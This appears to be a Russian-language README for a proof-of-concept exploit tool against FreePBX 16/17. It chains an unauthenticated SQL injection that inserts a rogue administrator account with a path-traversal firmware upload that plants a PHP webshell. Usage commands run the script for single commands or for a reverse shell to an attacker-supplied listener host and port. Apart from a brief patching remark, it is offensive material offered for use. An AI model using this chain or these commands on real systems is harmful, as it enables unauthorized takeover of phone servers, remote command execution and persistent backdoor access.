
CVE-2025-57819-RCE_PoC
Краткое описание: В этом руководстве показано, как объединить две уязвимости FreePBX 16 (CVE-2025-57819 и CVE-2025-61678), чтобы построить полную цепочку атак — от неаутентифицированного доступа до удалённого выполнения кода (Remote Code Execution, RCE).
| Номер CVE | Поражённый компонент | Воздействие и тип уязвимости |
|---|---|---|
| CVE-2025-57819 | Загрузчик модулей Endpoint (параметр brand) | Неаутентифицированная многооператорная SQL-инъекция (Unauthenticated Stacked SQL Injection) |
| CVE-2025-61678 | Обработчик загрузки прошивки Endpoint Manager (параметр fwbrand) | Аутентифицированная произвольная загрузка файлов / обход пути (Path Traversal) |
Через загрузчик модулей пространства имён (Namespaced Endpoint Loader) запускается неаутентифицированная многооператорная SQL-инъекция, которая напрямую записывает в таблицу ampusers новую учётную запись администратора с полными правами.
С помощью только что созданных учётных данных администратора выполняется вход в панель управления FreePBX.
Злоупотребляя функцией загрузки прошивки в Endpoint Manager и используя уязвимость обхода пути в параметре fwbrand (../../../var/www/html/<dir>), PHP WebShell записывается непосредственно в корневой каталог веб-сайта.
Вызов развёрнутого WebShell позволяет выполнить отдельную системную команду или установить интерактивный Reverse Shell.
Затронутые версии: FreePBX 16 (модуль Endpoint версии ниже 16.0.92); FreePBX 17 (затронуты версии до 17.0.6).
Рекомендации по исправлению: как можно скорее установите последнюю исправленную версию.
# Выполнить одну команду
python3 exploit.py --rhost pbx.example.com --command "id"
# Установить интерактивный Reverse Shell (автоматическое прослушивание через pwntools)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444
# Использовать обычный HTTP и произвольный порт
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"
| Параметр | Описание |
|---|---|
--rhost | [обязательно] Адрес целевого хоста (Target Host) |
--rport | Целевой порт (по умолчанию 443) |
--http | Принудительно использовать HTTP вместо HTTPS по умолчанию |